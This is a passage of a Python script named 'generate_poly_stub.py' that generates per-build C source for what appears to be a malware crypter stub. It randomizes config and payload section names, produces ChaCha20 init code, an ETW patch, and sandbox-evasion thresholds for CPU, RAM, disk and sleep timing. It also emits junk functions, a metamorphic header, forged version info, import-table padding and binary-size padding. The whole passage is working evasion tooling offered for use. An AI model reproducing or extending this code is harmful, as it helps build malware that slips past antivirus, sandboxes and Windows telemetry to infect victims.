< G_PAD_STRTBL_{i}_COUNT && i < 2; i++)") c_lines.append(f" acc += (uint32_t)(uintptr_t)g_pad_strtbl_{i}[i];") # Touch int tables for i in range(int_array_count): c_lines.append(f" acc += g_pad_inttbl_{i}[0];") # Touch XML for xi in range(len(xml_selected)): c_lines.append(f" acc += (uint32_t)g_pad_xml_{xi}[0];") c_lines.append(" g_padding_state = acc;") c_lines.append("}") c_lines.append("") # Write .c file c_path = os.path.join(outdir, "stub_poly_padding.c") with open(c_path, "w", newline="\n") as f: f.write("\n".join(c_lines)) # Write .h file h_lines = [] h_lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") h_lines.append("#ifndef STUB_POLY_PADDING_H") h_lines.append("#define STUB_POLY_PADDING_H") h_lines.append("") h_lines.append("void padding_touch(void);") h_lines.append("") h_lines.append("#endif /* STUB_POLY_PADDING_H */") h_lines.append("") h_path = os.path.join(outdir, "stub_poly_padding.h") with open(h_path, "w", newline="\n") as f: f.write("\n".join(h_lines)) return target_size_kb, c_path, h_path # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main(): parser = argparse.ArgumentParser(description="Polymorphic stub generator") parser.add_argument("--outdir", required=True, help="Output directory for generated files") parser.add_argument("--tools-dir", default=None, help="Path to agent/tools/ (for icon). Default: script's directory") args = parser.parse_args() os.makedirs(args.outdir, exist_ok=True) tools_dir = args.tools_dir or os.path.dirname(os.path.abspath(__file__)) # Pick a random algorithm algo = pick_algorithm() # Compute constants with collision detection constants = compute_constants(algo) # Generate hash header header = generate_hash_header(algo, constants) header_path = os.path.join(args.outdir, "stub_poly_hash.h") with open(header_path, "w", newline="\n") as f: f.write(header) # Generate junk functions (40-80 random count for .text bulk) junk_count = random.randint(40, 80) junk = generate_junk_functions(junk_count) junk_path = os.path.join(args.outdir, "stub_poly_junk.c") with open(junk_path, "w", newline="\n") as f: f.write(junk) # ── Generate per-build config (stub + crypter shared) ── magic = random.randint(0x10000000, 0xFFFFFFF0) cfg_section = _random_section_name() if random.random() < 0.10 else random.choice(CFG_SECTION_POOL) pay_section = _random_section_name() if random.random() < 0.10 else random.choice(PAY_SECTION_POOL) charset = generate_shuffled_charset() chacha_init_lines = generate_chacha_init_code() etw_patch, etw_size = generate_etw_patch_code() # LCG parameters for entropy pad (must match between stub and crypter) # Known-good full-period LCG multipliers (Knuth, Numerical Recipes, etc.) lcg_mult_pool = [ 0x41C64E6D, # Numerical Recipes 0x6C078965, # Mersenne-related 0x019660D, # MINSTD 0x5D588B65, # Turbo Pascal 0x0005DEEC, # Java (lower 32) 0x343FD, # MSVC 0x3C6EF35F, # GCC glibc (lower 32) 0x41A7, # Park-Miller ] lcg_mult = random.choice(lcg_mult_pool) lcg_inc = random.randrange(1, 0xFFFF, 2) # odd increment for full period lcg_shift = random.choice([15, 16, 17]) # Sandbox thresholds with realistic randomization sb_min_cpu = random.randint(2, 3) sb_min_ram_gb = random.choice([2, 3, 4]) sb_min_disk_gb = random.choice([40, 50, 60, 80]) sb_sleep_ms = random.choice([300, 400, 500, 600, 700]) sb_sleep_min_ms = sb_sleep_ms - random.randint(30, 80) sb_min_recent = random.randint(5, 15) config_header = generate_stub_config_header( magic, cfg_section, pay_section, charset, chacha_init_lines, etw_patch, etw_size, sb_min_cpu, sb_min_ram_gb, sb_min_disk_gb, sb_sleep_ms, sb_sleep_min_ms, sb_min_recent, lcg_mult, lcg_inc, lcg_shift, ) config_path = os.path.join(args.outdir, "stub_poly_config.h") with open(config_path, "w", newline="\n") as f: f.write(config_header) # Generate metamorphic function header meta_header, meta_unroll, meta_rotl = generate_metamorphic_header( lcg_mult, lcg_inc, lcg_shift) meta_path = os.path.join(args.outdir, "stub_poly_metamorphic.h") with open(meta_path, "w", newline="\n") as f: f.write(meta_header) # Generate randomized VERSIONINFO resource vi_identity, vi_version = generate_versioninfo(args.outdir, tools_dir) # Generate IAT padding (12-20 benign API calls) iat_count, iat_path = generate_iat_padding(args.outdir) # Generate binary size padding (150-400KB .rdata content) pad_size_kb, pad_c_path, pad_h_path = generate_padding_data(args.outdir) print(f"Algorithm: {algo.name}") print(f"Constants: {len(constants)} (no collisions)") print(f"Junk functions: {junk_count}") print(f"Config magic: 0x{magic:08X}") print(f"Config section: {cfg_section}") print(f"Payload section: {pay_section}") print(f"Charset length: {len(charset)}") print(f"ETW patch: {etw_size} bytes") print(f"LCG: mult=0x{lcg_mult:08X}, inc=0x{lcg_inc:04X}, shift={lcg_shift}") print(f"Sandbox: CPU>={sb_min_cpu}, RAM>={sb_min_ram_gb}GB, Disk>={sb_min_disk_gb}GB") print(f"Metamorphic: ChaCha20 unroll={meta_unroll}, ROTL={meta_rotl}") print(f"VersionInfo: {vi_identity} ({vi_version})") print(f"IAT padding: {iat_count} API calls") print(f"Binary padding: ~{pad_size_kb}KB .rdata content") print(f"Output: {header_path}") print(f"Output: {junk_path}") print(f"Output: {config_path}") print(f"Output: {meta_path}") print(f"Output: {iat_path}") print(f"Output: {pad_c_path}") print(f"Output: {pad_h_path}") if __name__ == "__main__": main()